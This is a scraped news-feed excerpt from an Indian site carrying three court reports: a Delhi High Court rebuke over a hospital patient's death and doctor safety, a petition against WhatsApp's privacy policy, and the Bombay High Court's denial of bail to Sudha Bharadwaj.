Justice Rekha Palli said,” You need to explain what happened, how did he get away? Just because it is a government hospital, you cannot leave people unattended. Why are you taking people in, if you are allowing them to go anywhere they want? There has to be some care or do you leave people to go and jump from the building. Do you have any responsibility? I am not satisfied by your claim that there was no mishap.
The court instructed the Medical Superintendent of the hospital to file an affidavit proving the exact time when the deceased- Tanvir Singh was taken to the isolation ward. It also asked the details regarding the staff that were present at the time and if other patients were present there at the time or not.

A total number of 436 cases are registered across the state. But, the state failed to provide the information of the guidelines taken to prevent it.
The bench said,”This is so shocking, the one-page affidavit that has been filed. From the next time, we are not going to accept affidavits unless vetted by the government pleader. The only word we can use is pathetic. This is absolute callous. The state is not at all serious about protecting its doctors. Yet, the public expects doctors to give their all”. The bench has instructed the deputy secretary of the state health department, to file a subsidiary affidavit by the coming week. The bench also added that the affidavit should necessarily include the state’s response on how to handle such incidents and to protect the doctors and the medical staff.

]]>The post WhatsApp’s new private policy challenged in Delhi High Court, demand to stop immediately appeared first on The Edge Media.
]]>It has also been said in the petition filed in the court that it is a violation of the right to privacy of any person. This petition has been filed by advocate Chaitanya Rohilla, which states that companies like WhatsApp and Facebook are already illegally sharing the data of common people to the third party. In such a situation, a new private policy of WhatsApp has been made without taking permission from the government.
In this petition, the court has demanded that the new private policy of WhatsApp should be stopped with immediate effect and with it the Government of India should issue guidelines keeping in mind the use of WhatsApp and the right to privacy of the people. The petition states that using the powers found under section 79 (2) (C) and section 87 (2) (ZG) of the Information Technology Act of the Government of India, ensure that WhatsApp allows any third party to use the users Unable to share data.
WhatsApp has changed its privacy policy on 4 January. After this change, it is necessary for the users using WhatsApp to accept all its terms and conditions. Under this, WhatsApp has now made it mandatory that the user who does not accept the terms and conditions, his account will be closed after February 8.
The petition also states that the recently updated privacy policy of WhatsApp has not been implemented in Europe as there is already a data protection law under which sharing of users’ data is a punishable offense.
Taking advantage of the loophole rules in India, the privacy policy that has been brought for WhatsApp users is very dangerous for the whole country. Therefore, there is a need to stop him with immediate effect. The number of users who use WhatsApp worldwide is 2 billion, out of which 40 crore people use it in India alone.
On the other hand, WhatsApp is facing criticism after the change in privacy policy. The company also has to give clarification in this regard. The company said in its clarification that the new policy will not affect the privacy of ordinary users. However, it will make more difference to business account users.
WhatsApp has answered many questions to remove the doubts in the minds of people about the new policy. Also, the company says that your sensitive data is not shared with Facebook. Also, the new policy update does not affect the privacy of your messages with friends or family in any way.
Under WhatsApp’s new policy on business accounts, if you do not use WhatsApp business, but if you message a merchant’s WhatsApp business account to purchase a product, then you have an eye on WhatsApp.
On its FAQ page, WhatsApp says that every day millions of people from all over the world talk to their customers on WhatsApp.
According to WhatsApp, business chatting is very different from chatting with friends or family. Some big businesses need hosting services to manage their communication.

]]>The post Bombay HC Refuses To Grant Bail To Sudha Bharadwaj appeared first on The Edge Media.
]]>A bench led by Justice RD Dhanuka rejected an appeal filed by Bharadwaj in June this year, whereby she had challenged a special court’s order that denied her bail on health grounds.
Bharadwaj, 58, had approached the HC seeking bail, saying that she suffered from chronic conditions such as diabetes and hypertension.
She had said these co-morbidities put her at a higher risk of contracting corona virus while at the Byculla women’s prison where an inmate had tested positive for COVID-19 earlier.
The court, however, noted the submissions made by the NIA and the Maharashtra government that the prison authorities were taking all precautions to prevent the spread of COVID-19, and that they were providing necessary medical care to Bharadwaj for her comorbidities.
NIA counsel, Additional Solicitor General Anil Singh, also told the court that if at any time, Bharadwaj’s condition needed further treatment or if she was required to be admitted to a hospital, even a private one, the state would provide for the same.
Bharadwaj has been lodged in the Byculla women’s prison since September 2018 following her arrest in the case.
The case pertains to the Elgar Parishad conclave held in Pune district on December 31, 2017. It is alleged that speeches made by some activists at the conclave led to violence near the Koregaon-Bhima war memorial on outskirts of Pune city the next day.
